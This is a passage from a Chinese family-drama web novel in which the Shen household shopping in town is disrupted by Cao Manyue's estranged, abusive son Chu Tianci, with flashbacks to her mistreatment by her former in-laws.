给沈家二老弄的哭笑不得。 沈呈山没好气的拍了沈归一巴掌,“你去就去,谁拦着你不成?一直哼唧,牙疼啊?” 沈归先是一喜,随后又缩着脖子小声道:“可我菜没弄完,豆角要清洗好……” 沈呈山两眼一瞪,他说怎么跑来和孩子一样撒娇要出去玩。 感情是活没干完,还想出去,这会在这忽悠他这个当老子的替他干活呢。 “都说你脑子缺根筋,我看全家就你最机灵。”沈呈山没好气的戳了一下沈归的脑袋,最后还是道:“帮你这一次,下不为例。” 沈归嘿的一声跳起来,“爹我明天从镇上给你带好吃的!” 说完人一溜烟的跑走,声音还在屋里飘,“也给娘带!” 第二天一早,沈家二老在家里看家。 小辈们全都穿戴整齐,怀着激动的心情,要前往镇子。 凌月的腿不好走太远的路,从村子到镇上沈回直接背着人。 为了节约时间走的还是山路,谢青崖做的驱蛇药粉,人手一包。 一路倒是安稳。 加上山路有树木遮阳,虽然闷热倒也有一丝的凉气,让人得以喘息。 沈家人已经许久没有买过新布做衣服。 一行人身上全是穿着补丁旧衣,不过周围的人基本都是这样,并没有人会用奇怪的眼光来打量他们。 凌星想买布给家里人都做新衣裳。 尤其是他和凌月,都没有自己的衣服,一直穿沈家人的衣服。 有时候他们穿了,沈家人就没得穿。 还好现在天气热,前一天傍晚洗,拎干后第二天能干,不耽误穿。 沈来一件衣服连着穿小半个月了,每天都是傍晚洗,白天穿。 因为他夏季的另外两件衣服,给凌月换着穿了。 凌星今天带了五两银子出来,准备把缺的东西都给添置齐全。 麻布夏季最便宜,一匹两百文,有四丈。 凌月这个身形,做短打加裤子的话可以做四套。 凌星本是想给家里每人买一匹,曹满月拦着没让。 她自己赚了钱,相公也赚了钱,还把赚的钱全都给她收着。 曹满月心中熨贴又高兴,这次出来也是带了不少出来。 想着要给沈归和两个孩子缺的都买上。 布在她的计划之内,买一匹布,能给孩子们和沈归一人做一身衣裳,剩下的可以自己做点小衣穿。 凌星见曹满月坚决不要,便只买了六匹布。 沈回本也说不要,但被凌星一句,“你一定得要”直接弄的没了下文,只晓得听话。 在布庄花了一两多的银子,凌星没有一点心疼。 给家人花钱,值得。 布暂时寄放在布庄,伙计拍着胸口保证一定帮凌星看好。 从布庄出来,又去买了鞋子。 全家就只有凌星脚上穿着布鞋,还是沈回之前看他脚后跟磨的厉害,掏钱帮他买的。 凌星不等曹满月反应呢,就拉着小春小夏去选鞋子。 “四弟妹,阿月有小春小夏陪着玩,脸上笑容都多了。我也不买多,就一人给买一双鞋。” 曹满月手里的钱有限,她是很不好意思要的,可看到孩子脚上破旧的草鞋,曹满月还是点了点头。 “那多谢大哥夫了。快,小春小夏,谢谢大伯夫。” 小春小夏知道自己要有好看舒适的布鞋,藏不住的开心,仰着小脸笑眯眯的。 “谢谢大伯夫。” 小孩声音甜的很,凌星揉揉他们带着些婴儿肥的小脸蛋,“快来选鞋子。” 盘算着手里的钱,曹满月给沈归挑了一双布鞋。 他每天要走远路卖酱菜,穿着布鞋脚能舒服点。 曹满月没给自己买,想着她天天在家,穿草鞋就够了。 沈归摸着布鞋,被媳妇记挂的感觉真好。 心里也打定主意,下一批酱菜卖了,给媳妇买新鞋子,新衣服穿。 小春小夏还有沈来,凌星是一人买了一双。 沈来他也不敢多买,要是买多了爹娘肯定会把钱给他。 不如就和小春小夏一样,这样爹娘只能让沈来收下。 凌月的鞋子凌星暂时买了两双换着穿。 孩子长的快,鞋子很快就会不合脚。 买两双是防备着下雨天能有的换。 他自己也另外买了两双,还拉着沈回去试鞋子,也给沈回买两双。 有家人在场,沈回看着凌星自然的拽着他的胳膊,一下子就忘记了呼吸,脑袋有一瞬间的空白。 余光看见沈归夫妇二人视线不在这边,孩子们也都低头看鞋子,沈回才呼出一口气。 凌星对于沈回的紧绷毫无所觉,给他挑选了两双布鞋,要他试。 看着凌星亲自挑的布鞋,沈回说不出拒绝的话。 默默的接过后,对着脚比划鞋子大小的动作都急促许多。 沈呈山和徐有芳的鞋码沈回记得,凌星给二老一人买一双。 在鞋铺里面一共花去五百一十文。 鞋子不重,沈回直接放在背篓里面背着。 出了鞋铺,凌星和沈回带着凌月,沈来去买米。 沈归一家要去一趟绣坊买丝线。 粮铺的陈米是六十文一斤,贵的要命。 凌星到粮铺的时候,发现有不少人在排队。 问了才知道,是米面价格下降了。 凌星闻言也是一喜。 真好啊,大禹朝终于要稳定下来了。 粮食的价格全都下降一半,凌星想着后面做汤包凉皮这些就买最好的精细白面做。 这样的话成本是和之前差不多的,不用调整价格,味道上却能比之前更好一些。 明天要用的面粉凌星顺手也买了,和十斤陈米放在一处,也是先寄放在铺子里,等回来的时候取。 铺子寄放是常有的事。 凌星是老顾客了,伙计直接把他的东西塞柜台里面,怕忙起来没注意,被人顺手摸走了。 随后一行人去医馆,给凌月看伤。 李大夫听凌星说要换好药去治疗凌月的嗓子,震惊凌星有银子之余,也是替凌月感到高兴。 用好药的话,一年时间就能恢复九成。 另外一成,除非是仙丹妙药,不然恢复不了。 若是继续用现在的药,两年能恢复七成都算是最好的结果。 不好的话,只能恢复四五成。 写好治疗嗓子的新药方后,李大夫又看了看凌月的腿。 “恢复的不错,我再另开一帖滋补的方子,能减少你以后阴天下雨腿疼的感觉。先喝半个月后再来看看要不要继续。” 从医馆出来,凌星花去一两银子。 可他心里很高兴。 凌月这被伤的破破烂烂的身体,终于可以修补好了。 一旁的凌月也很感激哥哥对他的照顾和关爱。 哥哥每天起早贪黑的赚钱,好不容易攒下一些,又基本上都花在他的身上。 心里高兴于被爱,也愧疚于自己是哥哥的拖累。 他红着耳朵,把手塞进哥哥的手中牵着。 “哥哥,我一定会好好读书的。” 他以后,要成为哥哥的后盾,永远保护哥哥。 凌星低头见孩子的小脸上露出认真的神色,没有打击否认,而是认同道:“我相信阿月。” 凌月得到肯定,神色更加坚定。 沈回和沈来兄弟两在边上站着,沈来看看凌星,又看看自家二哥。 算了,他这辈子都不指望二哥对他温柔体贴的说话。 沈回没注意到沈来的眼神,倒是盯着凌月看了一眼。 他考教过凌月的功课,不出意外的话,凌月可以走的很远。 曹满月买好徐有芳要用的丝线,一家四口有说有笑的离开绣坊。 正商量着去找凌星他们,突然不远处跑来一个灰头土脸的少年。 对方直冲曹满月来,撕心裂肺的喊了一声: “娘!” 第55章 第 55 章 楚天赐 曹满月看着冲过来的少年, 脸上的笑意瞬间没了,如坠冰窖。 她生了三个孩子。 第一个孩子是个男孩,刚出生就得到了爷奶的青睐,取名叫天赐。 楚家二老疼爱的不行, 要带在身边养。 每天除了喝奶和晚上睡觉的时候, 她这个当娘的都见不着孩子。 孩子晚上最闹腾,楚有田不想被吵, 搬去了别的地方睡。 曹满月白天干活累的很, 晚上还要哄孩子睡觉。 因为是一天中唯一能和孩子长时间待在一起的时候, 不管再苦再累,再怎么睡不好觉, 曹满月都忍了。 好不容易把孩子带出来, 晚上能自己好好睡觉了。 就被孩子奶奶以她带不好孩子为由,彻底抱到自己屋里养,她只有早晚吃饭的时候, 能看到孩子。 从那之后,曹满月能感受到, 儿子对自己越来越疏离。 楚天赐三岁那年,因为贪凉闹肚子。 家里急的团团转,楚老太指着刚从地里回来的曹满月鼻子骂她养不好孩子。 楚家人丁少,楚有田只有一个弟弟叫楚有宝, 也娶了媳妇, 刚怀上。 一家之主楚大运下雨天跌了一跤, 需要卧床修养。 楚老太以带孩子照顾老伴为由, 也不再下地。 楚有田是个好吃懒做的,成亲几年,都没看他下过地。 二弟楚有宝倒还算勤快, 每天都和曹满月一起下地。 但没多久,就被二弟妹按在家里,不给他出去。 原因是村子里传出风言风语,说嫂嫂勾引弟弟,两人在田里卿卿我我。 这些闲话自然是当不了真,可是黄三妮听着,心里就是和油煎的一样。 因为嫂嫂确实是有几分姿色,比她要好看太多。 乡下人家,女子,哥儿不论是怀着孩子,还是刚生完,都是要干活的。 不然就没得吃。 黄三妮觉得累得很,便找楚老太说自己肚子不舒服。 虽然挨了一顿骂,可也能躲在家里不干活。 叫她下地不可能,便按着楚有宝不准他去地里。 这样一来,家中地里的活,全都落在曹满月身上。 她拖着疲惫的身体回到家,没有一口水喝,没有一口饭吃。 只有谩骂谴责。 曹满月哭着给孩子喂药,因药太苦,孩子抗拒的很,洒了许多。 曹满月没办法,只能强行灌。 看孩子苦的嗷嗷哭,曹满月也心疼。 刚要安慰孩子,说过段时间给他买麦芽糖吃,就听到儿子稚嫩的声音,充满怒气的喊道:“你这个没用的贱东西,你不得好死!” 那一瞬间,曹满月如同被兜头一棒,整个人僵硬在原地,耳朵嗡嗡响,脑袋里一片空白…… 这些话,都是楚老太和楚有田经常挂在嘴边骂她的。 曹满月知道孩子是被影响,她想要把人掰正,但只要她一教训孩子,楚家二老就过来阻挠。 抱着孩子心肝肉的叫着哄着。 楚有田为此还打过她好几次,骂她是个毒妇,折磨他的儿子。 而孩子也更加的厌恶她,根本不正眼看她,也不喊她娘。 在她被楚有田打的时候,还站在一边拍手叫好,“活该,谁叫你训我!爹给我报仇!” 后来,曹满月也不再管。 一家子把她当仇人一样,孩子自己也这样想,她管不了。 她又怀了。 这胎她说什么都要亲自带。 十月怀胎很是辛苦,生出来的是双生子,本是喜事。 楚老太看前面出来的是女儿,嘴角往下撇。 后面那个是个带把的,正要高兴呢,发现腰侧有颗红彤彤的孕痣。 气的她连要另外给稳婆的喜钱都没给,还骂稳婆手黑,把她大孙子给接没了。 稳婆也气的要命,没见过这样的人家,骂了一通后气呼呼的走了。 两孩子刚出来,就遭受到了楚家二老的厌弃。 但曹满月高兴。 不会有人来抢她的孩子。 他们不喜欢就不喜欢,她喜欢就行。 曹满月把所有的感情,都投注在小春小夏身上。 每天下地都是身前一个身后一个背着。 两孩子也乖巧的很,只有身体不舒服了,才会叫两声引起注意。 只要曹满月低头看他们,两孩子就咧着嘴乐呵,软乎乎的小手伸出去,企图摸摸娘亲的脸。 曹满月看着可爱乖巧的孩子,心化成了水,也很知足。 人的性子有些奇怪。 在拥有的时候不珍惜,失去后又嫉妒别人拥有。 楚天赐发现那个讨厌的娘亲再也不看他,不关心他,满心满眼都只有那两个赔钱货的时候,他开始讨厌小春和小夏。 楚天赐认为是他们的存在,让曹满月不再关心在意他。 他发泄情绪的方式,与楚有田和楚老太一样。甚至比他们更刁钻,小春小夏经常一身青紫。 曹满月知道后,只能对楚天赐更加的防备。 小春小夏三岁那年,曹满月又怀孕了。 不过这胎没能生下来,五个月大的时候,被楚天赐撞倒后没了。 曹满月一直记得,自己那天躺在血泊中,看见楚天赐脸上露出的得逞笑脸。 他是故意的。 生楚天赐的时候,曹满月就没有休养好。 后面生小春小夏,又是双生子,对身体损伤很大。加上孩子生出来,就只有曹满月一个人带,还要下地干活,让她的身体亏损更厉害。 这胎更是大月份流掉,楚家并不想掏钱请大夫,本想让曹满月自生自灭。 是小春循着记忆,翻出曹满月之前给她看过的包银镯子。 让小夏坐在床边守着娘亲,自己跑去给她吃过麦芽糖的婶婶家,求对方帮忙找大夫救人。 小夏一边哭一边守着娘,求娘不要死。 小春去找人的路上,跌倒过好几次,膝盖手掌都蹭破了皮,钻心的疼,也咬牙坚持。 好在是赶上了,曹满月被从鬼门关拉了回来。 大夫说幸好及时,不然就算是大罗神仙来了也救不了。 不过就算是救下,身子骨也被伤了根基。 若是好好调理,过几年能继续要孩子。若是放任不管,后面再想要孩子就难了。 楚家人连人都不想救,怎么可能会另外掏钱给曹满月吃补药。 大夫走后,楚老太立即就把屋子从里到外翻了好几遍。 她怀疑曹满月还藏着钱。 那包银的镯子,是曹满月出嫁前娘亲悄悄塞给她的。 哪里还有别的。 她是想着留着,后面攒点钱再弄一个差不多的,让小春小夏一人一个。 没想到最后还是用在了她自己身上。 没翻到值钱的东西,楚老太恨的牙痒痒。她破口大骂曹满月是家贼,是不能下蛋的母鸡。 明明是楚家放弃补她的身体,最后到楚老太嘴里,就成了曹满月不能生了。 而曹满月“不能生”之后,她成了楚家的罪人。 楚有田打她和小春小夏的次数更多也更狠了。 楚老太对她也是非打即骂,家里什么脏活累活都是她。 就连并不怎么喜欢曹满月的黄三妮,看着都心疼她。 偶尔也会帮着照看小春小夏。 在小春小夏五岁那年,楚有田在外面找了个人。 说是大了肚子,要是不娶的话,对方哥哥就要拿刀砍死他。 那汉子之前坐过牢,一身的煞气,楚家一家都欺软怕硬,哪里敢不从。 加上曹满月“不能生”,现在来个能生的,楚家高兴还来不及。 休妻,多简单的事啊。 楚老太其实生了四个孩子,不过她只留下了前面的两个儿子。 另外的一个女儿还有一个哥儿,都被卖掉了。 曹满月知道被休弃的女子很难再找到什么好人家,带着孩子的话,就更没人要了。 可她知道,只要她不带小春小夏走,这两孩子迟早会被楚家卖掉换钱。 即便是一辈子一个人过,即便是再艰难,她也要把两个孩子带在身边。 楚老太确实是想着小春小夏再养几年,能卖上价格了再卖。 但听说曹满月要带走,想想也就同意了。 女娃娃和哥儿小时候不值钱,要等十来岁最值钱。 现在小春小夏还太小,养到值钱的时候,家里也要花费不少钱粮。 叫曹满月带走也好,家里省下来的钱粮就是赚到。 赔钱货带走楚老太不心疼,她护着楚天赐,面上严肃警告,“天赐是我们老楚家的根,你别想再打他主意。” 曹满月一左一右牵着两个孩子,没看楚天赐,也没看楚老太,直接转身离开。 回忆过往种种,她不怪楚天赐。 但也没办法再爱楚天赐。 就当她没生过这个孩子吧。 曹满月以为,她这辈子不会再见到楚天赐。 没想到,就这么毫无征兆的碰上了。 沈归反应迅速,在少年快撞倒曹满月的时候,伸手挡了一下。 那一声“娘”他自然是听见了。 也晓得除了小春小夏以外,曹满月还有一个儿子。 不用猜都知道,眼前这个衣着破旧,脚上草鞋磨损严重,灰头土脸的微胖少年,就是留在楚家的儿子,楚天赐。 只是他怎么会这副模样,像是流浪已久的小乞丐。 楚家村离镇子有一段距离,他又怎么会出现在镇上呢? 楚天赐被阻拦住,他恶狠狠的瞪了沈归一眼。 随后又想到了什么,收起一副怒容,转换成一张哭脸对着曹满月哭嚎。 “娘,你别不要我啊!我是你唯一的儿子,以后我会给你养老送终的!呜呜呜呜呜娘,你带我走吧娘。” 曹满月浑身发冷,被压住的坏记忆,顷刻间全跑了出来。 就连反应过来眼前人是谁的小春和小夏,都躲在沈归和曹满月的身后,身体轻轻颤抖。 在楚家,他们最怕的其实是楚天赐。 他有千万种的办法折磨他们。 抢他们吃的,对他们吐口水,掐他们手臂内侧的肉,塞虫子在他们嘴里,还会用烧红的棍子烫他们…… 他们宁愿被以前的爹打,也比被大哥折磨的好。 感受到小春和小夏的异样,沈归转身看他们。 曹满月弯腰直接抱起小春道:“相公,你抱着小夏,咱们赶紧去找大哥夫他们。” 至于楚天赐,曹满月没有看他一眼。 楚天赐哭嚎的那一段话,她也当没听见。 她现在是沈家的儿媳妇,她只有小春和小夏两个孩子。 媳妇说什么沈归就听什么,抱起瑟瑟发抖的小夏,跟上曹满月。 楚天赐傻眼了,怎么他哭也没用? “娘!你等等我啊!” 楚天赐在后面追,脸上没有一丝泪水,可他的哭声却很大,吸引了不少路人的关注。 周围不少人驻足观看,指指点点。 曹满月听不清他们说什么,但被许多人同时注视着,浑身不舒服。 “你认错人了,我只有两个孩子。” 曹满月回头吼了一声,头也不回的抱着小春快步离开。 沈归紧随其后,回头看一眼还在跟着的楚天赐,眉头皱起,平时总是带着笑的脸,也变得冷肃许多。 他媳妇是最心软善良不过的,能让她铁了心不认的儿子,肯定不是个好东西。 凌星一行人买了鸡蛋和两只母鸡,又顺便去武大力那买了要用的肉。 东西买齐后,就朝着城门口那边走,顺便拿寄存在铺子里的东西。 到城门口的时候,发现沈归一家已经在那等着。 “怎么回来这么早,还以为你们会再逛逛。” 说着凌星从背篓里面掏出麦芽糖,弯腰递给小春和小夏,“来,拿着吃。阿月和小五的都已经吃了。” 两个孩子得到曹满月的首肯,这才伸手接麦芽糖,小声的道谢:“谢谢大伯夫。” 凌星笑着摸摸他们的头,心里有些疑惑。 分开的时候,两孩子精神头还很好,就一阵子的功夫怎么蔫哒哒的。 要是就孩子这样,还能说是路走多了累的。 可沈归和曹满月的脸色也没好到哪里去。 尤其是曹满月,一脸疲惫不说,还能感觉到她有些害怕。 手臂突然被碰一下,凌星看向沈回,见对方示意他看不远处。 一个身形微胖,浑身脏兮兮的少年在不远处虎视眈眈的盯着这边。 曹满月见凌星二人注意到楚天赐,无奈的低声道:“那是楚家的儿子,不知道为什么会这副模样出现在镇上。看到我后,还一直跟着我,怎么也赶不走。” 前面楚天赐喊的那些话里,曹满月大概猜到是楚家发生了什么事,他不得已才离开了。 具体的她不清楚,也不想过问。 凌星知道曹满月之前有过一段并不好的婚姻,还有个儿子在楚家。 看曹满月的神情反应,想来不远处的微胖少年就是那个孩子。 相处至今,凌星知道曹满月是个很温柔的人。 那孩子却能让曹满月这样一个温柔的人,态度如此坚决的不认他,可见是做了很坏的事情,伤了她的心。 沈回收回视线,“既然是无关之人,就走吧,爹娘还在家等着。” 曹满月点点头,她也想早点离开镇子,躲开楚天赐。 看着沈家人远去,楚天赐眼珠子一转,抬脚跟上。 他娘现在的夫家真有钱,来镇上买了那么多的布,还有两只鸡。 背篓里看不见的地方,还不知道装了多少好东西,满当当的。 小春和小夏那两个赔钱货竟然也吃上麦芽糖了,他都好久没吃了。 楚天赐知道他娘后嫁的那家在小柳村,姓沈。 他出城后,顺着大路,打听着小柳村的方向,要去找曹满月。 凌星几人走山路,比走大路要省下近半个时辰的时间。 回到家,就见沈家二老一脸喜色。 “生了生了,刚刚长命来家里传话,说燕儿生了个大胖小子!” 徐有芳第一时间和凌星他们说完,又安排起明天的事。 “我和你们爹明天要进山一趟,今天买的东西,娘收拾一些带去,钱会给补上。” 沈燕平安产子确实是件大喜事,就连曹满月脸上的愁容都被冲刷不少,多了些笑意。 三姐人好,对她也很不错。 刚嫁来的时候,她身体不好,三姐总让她休息,自己去干活。 “娘,明天我没事,跟你们一起去看看三姐吧。” 正好手头还有些铜钱,到时候塞点给三姐。 女子生完孩子,身子骨弱,最需要滋补。 手里有钱,也有底气要吃的。 也算是她的一份心意。 徐有芳笑道:“好,明天一早咱们就去。” 鸡蛋,猪肉,米面,都弄了一些另外装好,省的明天一早着急忙慌的再给忘了些什么。母鸡徐有芳没带,山上不缺鸡肉吃。 中午沈家准备吃蒸米饭,炒鸡蛋,豆角焖肉。 腌的萝卜丁也能吃了,沈回拿着碗去地窖弄萝卜丁。 徐有芳,曹满月还有凌星三人在灶屋忙着切菜炒菜,烧锅。 沈呈山和沈归在菜地里忙活。 四个孩子端着小板凳在外面排排坐。 凌星还在点心铺子里买了绿豆糕,给孩子们一人发一块,坐在阴凉地里吃。 铺子里做的绿豆糕要比凌星之前做的细腻许多,也甜许多。 模具也好看,是方形刻花的。 小孩子偏爱甜口的东西,这绿豆糕大人吃觉得腻,孩子吃着是正好。 有了好吃的,加上又在家里,身边是凌月和沈来。小春小夏两个孩子有了足够的安全感,捧着绿豆糕慢慢吃,之前的害怕情绪被抚平。 突然院子里冲进来一个人,微胖的身体径直朝着小春小夏跑去,很快两个孩子手里的绿豆糕没了。 楚天赐恶狗扑食一般的抢夺走绿豆糕,一瞬也没停下,直接往自己的嘴里塞。 他长这么大,还没吃过这样精贵的糕点呢! 娘现在是真的有钱,给这两赔钱货吃这么好的东西。 “呜呜呜呜呜呜——” “呜哇哇哇哇——” 小春和小夏的绿豆糕被害怕的人抢走,吓得张嘴哭出声。 沈来凌月二人手里握着没吃完的绿豆糕,立即挡在了小春小夏的身前。 “二哥!” “哥哥!” 二人分别召唤兄长,灶屋里三人听到动静最先出来,沈回隐约听到小五的声音,直接端着陶碗往外走。 凌星一眼看见脏兮兮的楚天赐,下意识的眉头一皱。 凌月今天路走多了说腿疼,凌星准备下午观察一下,要是还疼,明天私塾那边就请假一天。 正好徐有芳一大早要进山,他凌晨就要去摆摊子,也不好送凌月。 对面的微胖少年比凌月高不少,一看就是个爆脾气,凌星是真怕那少年一个不高兴把凌月再给推了伤到腿。 他和曹满月几乎是同时把四个孩子往后拉,护在身后。 楚天赐看到曹满月,咧着嘴笑,“娘,我来找你,我以后都跟着你生活,我不要爹和爷奶了,你高兴不?” 听到这话,曹满月简直都要绝望了。 楚家到底发生什么事,让楚天赐跑出来了! 她看着楚天赐嘴边的糕点渣气道:“我都说了不认识你,我只有两个孩子就是小春小夏。你怎么还这样阴魂不散的跟过来?还抢我孩子的东西吃!” 在楚家这么多年,楚天赐早就学会了以怎样的姿态,才能在不同的人身上,获得他想要的东西。 曹满月的话,楚天赐全当没听见。 他一屁股直接坐在地上。 “娘,我是你身上掉下来的肉,你十月怀胎不容易,难道就舍得这样丢下我吗?” 说着一把扒着曹满月的腿,死死不撒手。 “娘啊,我以后会给你养老送终的。我是儿子,肯定比那两个赔钱货强啊。对了娘,你现在还有别的儿子不?” 最后一句话,楚天赐是看着凌月说的。 另一个的样子看起来比小春小夏大,不可能是他娘生的。 倒是那个小不点,也没看见孕痣,不晓得是哥儿还是汉子。 看着年纪,倒像是他娘后面会生的。 曹满月一个头两个大,两年多不见,楚天赐怎么变成这副油盐不进的赖皮模样? 小小年纪,做派和楚老太还有他爹简直一模一样。 曹满月是一句话也不想和楚天赐多说,直接拽着人的手臂往上拉,要把他弄出家里。 楚天赐年幼时吃的很好,唯一吃苦的时候,就是喝药。 他长的结实,人又无赖,死死的扒着曹满月不放来回的倒。 曹满月被他带着转,徐有芳和凌星想伸手帮忙都没法插手。 凌星眼看着楚天赐要撞到自己,他急忙往后躲,还是慢了一步。 腰间骤然一紧。 凌星感觉整个人腾空了一下,再落地时已经避开楚天赐的撞击。 腰间的手很快松开,凌星转头看去,只能看见沈回凌厉绷紧的下颌线。 他一手端着咸菜,一手拎起楚天赐的衣领,直接把人给提了起来。 由于沈回过于高壮,又是一张冷脸,蕴藏着怒气,楚天赐对危险感知很强。 欺软怕硬的性子让他不敢再放肆,老老实实的松手被提着,然后被扔出沈家的篱笆院门。 “滚远点,再被我看见你出现在我家,我就把你丢山上喂狼。” 楚天赐被沈回冷冰冰的眼神吓一哆嗦,连滚带爬的跑了。 反正今天混到两口糕点吃,也不亏。 沈呈山和沈归从菜地里回来,听说了楚天赐这事。 沈呈山道:“那孩子能追到家里,可见不会就这样离开。得去一趟楚家,问问看到底怎么回事。” 楚家所在的楚家村离小柳村有三个时辰的距离,回来半道上天就黑透了,实在是不安全,只能明天一早去。 这样还能趁着天亮到家。 曹满月道:“爹娘,明天我不去看三姐了,去一趟楚家村问问。” 徐有芳点头,“行,让四郎和你一起去,不然娘不放心。” 曹满月鼻头一酸,“知道了娘。” 因为惧怕沈回,楚天赐没敢靠近沈家。 在小柳村里瞎溜达。 打听到村长家在哪后,就去敲门。 孙水叶打开门,看到人以为是乞丐,嫌弃道:“真晦气,走走走,家里什么也没有。” 第56章 第 56 章 三合一 楚天赐对孙水叶的嫌弃丝毫不在意, 有些圆润的脸上带着些难过的神色,双手死死扒着祝家墙上的青砖。 “婶婶,我不是乞丐。我爹娶了新媳妇有了新儿子不要我了,我来小柳村是投奔我娘来的。” 为人母的孙水叶听不得这些, 态度缓和不少。 “你娘是谁?我带你去找。” 祝家可没有二嫁来的, 肯定没这孩子的娘。 孙水叶只当是楚天赐找不到他娘住在哪,做出出门动作, 要带他去找娘。 “我娘叫曹满月, 我知道她在哪。” “曹满月?沈家的四儿媳?” 孙水叶仔仔细细打量一遍楚天赐, 没看出和曹满月哪里有相像,不过小柳村都知道曹满月是二嫁, 还有三个孩子, 儿子留在了前头夫家。 当年沈归娶妻的时候,村子里不少的女子和哥儿还伤心了好一阵子,对曹满月印象很差, 她的事情也在这些人之间传起来。 后面就是整个村子都知道了。 孙水叶爱和人闲聊,自然也是晓得的。 她没想到传言里曹满月的儿子竟然还能找上门来。 想到公公前段时间说的话, 周围邻里也有意无意的往这边看,孙水叶侧身,“你先进来。” 快要到中午的饭点,祝家灶屋正中间, 四平八稳的摆放着一张大木桌。 孩子们蹲在院子里玩泥巴, 王春霞把洗菜的水往菜地里一泼, 转身就看见二儿媳身后跟着个小乞丐。 她顿脚步, 二儿媳爱占小便宜,却极其讨厌别人占她和家里的小便宜。 每每遇到乞丐上门,都是把人轰走, 不会拿一口吃的,更别说饭点了还带人进院子。 孙水叶小跑着到王春霞身边,趴在她耳朵边小声嘀咕,“娘,这是沈家四儿媳的儿子。” “爹之前说沈家的事能帮就帮,曹满月是沈家人,她儿子的事,也算是沈家的事吧?” 王春霞看一眼楚天赐,难怪二儿媳把人带进来。 不过…… 王春霞把陶盆交到孙水叶手里,“你今天躲着你爹一点,别在他面前晃悠。” 二儿媳在占便宜上有些小聪明,但人是个傻的。前头夫家的孩子一脸灰土的跑来找娘,这能有什么好事? 别说帮沈家,这不是给沈家添堵吗。 孙水叶看到王春霞脸色不好,才晓得自己想岔了。光想着当娘的都舍不得孩子受罪,也觉得楚天赐可怜,被狠心的爹赶出家门,这才把人带进来。 “你叫什么名字?沈家在山脚下,要婆婆带你去一趟吗?” 王春霞笑容和蔼的问楚天赐。 他忽略后面的那个问题,摸着肚子可怜兮兮的样子,“婆婆,我叫楚天赐,我肚子好饿。” 祝家的日子在小柳村算是很好的,猪牛羊肉吃不上,但一个月也能吃几次便宜的鱼。 那种很小的鱼,碎刺多。但用猪油多煸一会,刺会变脆,撒上些磨碎的盐粒子,直接连着刺一起吃。 鱼肉鲜,猪油香,倒也是乡野间的美味。 今天祝家就煸了小鱼,香味从灶屋里飘出来,楚天赐吸溜着口水,眼珠子都粘在灶屋门口了。 楚天赐的眼神带着抢夺的感觉,让王春霞眉头微皱。 她也不好把人直接请出去,送去沈家的话,也不太合适。 没猜错的话,这小子之前就是被沈家人赶出来了。 祝如山坐在方桌的主位,松垮的眼皮淡淡抬起,一双略显浑浊的眼睛,落在旁若无人,抓着鱼拼命往嘴里塞的楚天赐身上。 家里也是难得吃一次鱼,孩子们每天掰着手指头数,期盼着。 好不容易盼到了,结果一口没吃上,全叫突然冒出来的胖乞丐给吃了。 祝家人不喜的视线楚天赐不是没感觉到。 他只是不在意。 若是在意这些的话,他就吃不上好吃的。反正只是看他几眼罢了,爱看就看,想瞪就瞪,反正他只认吃。 “吃完了吗?送你去沈家。” 陶盘里还有三条小鱼,祝如山直接把盘子抽走,没让楚天赐再动手。 已经混上一顿吃的,还有肉有油盐的,比在楚家吃的都好,拿走就拿走吧。楚天赐不在意的舔着脏污的手指头,嗦上面残留的肉味。 他也不去沈家,想到沈回的样子,都忍不住打哆嗦,今天肯定不能再去的。 而且他娘好像真的不要他了,去沈家讨不着好。 “不了,我看娘过得好就不打扰她。” 说着楚天赐起身,趁着祝如山晃神,把陶盘里最后三条鱼抓在手里往嘴塞。 祝家的几个孩子本就瘪嘴要哭不哭的,看到鱼彻底没了,都控制不住情绪,张嘴就嚎起来。 楚天赐瞥了一眼,看小孩们哭他笑了一声。 混了顿吃的,楚天赐满意离开。 还是他聪明,知道找村长家,不然别家哪有肉吃啊。 离开祝家后,楚天赐没离开小柳村,而是闲逛。也不知逛了多久,觉得渴了,就找水喝。 走到小溪边,看到几个在水里摸鱼的。 年纪有大有小,最大的看起来十二三岁,最小的四五岁这样。 “你是谁?怎么没见过你?” 突然来了个陌生人,一行人视线都看去。赵二宝站在小溪里面,叉着腰质问楚天赐。 对面人多,就算是有小孩,但楚天赐也打不过。权衡一下后,楚天赐摆出一副害怕的样子。 “我叫楚天赐,我来这是为了找我娘,途中口渴听到有水声,过来喝水。” 赵二宝哦了一声,“那你喝吧。” “你娘叫什么啊?要不要我们帮你找?” 楚天赐喝了两口水,解渴后才回道:“我娘叫曹满月,山脚下沈家人。” 说到山脚下沈家,赵二宝来精神了,后面的赵三财也背脊一怔。 说到底他们兄弟两现在在小柳村,和沈家多多少少有点关系。 当初在县衙,赵平得到了发酵方子后想要独占,不给赵凡分一点。 赵凡又想分家,最后在赵老太的同意下,赵凡给房子给银子,彻底和赵家分开单过。 不仅如此,还休了方秀霞,要娶外室哥儿过门。 赵凡家里的事情,赵平不在意。 他一门心思的弄包子馒头卖,两口子也从乡下搬到镇上,住的就是赵凡原来在镇上的院子。 现在已经是赵老太的了,而赵老太也答应了赵平,等她百年之后,院子给赵平。 前面几天生意还行,就是巷子里有个姓王的卖的什么饺子和馄饨,抢走不少的生意。 但还好,他的包子馒头也是独一无二,每天从早卖到晚,能有近一两银子的进账。 赚的银子多,却没儿子,赵平心里又开始不平。 再买个儿子吧,又不想花那个钱。 还是养不熟的白眼狼,就记得自己原来的家人。 赵老太看宝贝儿子愁眉苦脸,她心里也不好受。跑去找了赵凡,还是想让他过继儿子。 恰逢赵二宝和赵三财两兄弟整天嚷嚷要方秀霞回来,还总是欺负他夫郎和小儿子。 赵凡看着被方秀霞带的和她一般无二的两个儿子,气的牙痒,又被亲娘堵在家门口,烦的不行。 最后甩袖道:“想要儿子,就只会过继赵二宝和赵三财,其他想都别想。” 赵平知道后,想了一整宿。 二宝三财年纪是大了些,不过和他到底也算是一家人,有血缘关系。 现在二弟不喜欢这两个孩子,伤了孩子们的心,他做个慈父模样出现,养几年也能养熟。 更重要的是,他的生意是要越做越大的,肯定要有儿子才可以。 赵二宝和赵三财都被过继给了赵平。 两个都过继,也是赵平的意思,多个儿子能再多个保障。 谁知道刚过继没两天,县令就公布了发酵方子。 还是皇帝陛下的圣旨。 赵平的包子摊生意一落千丈,有不少和他争生意的。 从一日近一两银子,到劳累一日,能赚个百文。 其实百文也很多了,但赵平却受不了。 他赚过多的,哪里能接受这么点? 后面更是连百文都没有,每天七八十文。 赵平又不敢怪县令,更不敢怪皇帝,嘴巴里整天骂凌星黑心肠,肯定早知道,但当时瞒着他不说。 不过他也不敢去沈家找麻烦,人家认识县令,这哑巴亏只能认下。 家里的银子就那么点,赵平也不想回乡下种地。 哪有镇上舒服啊。 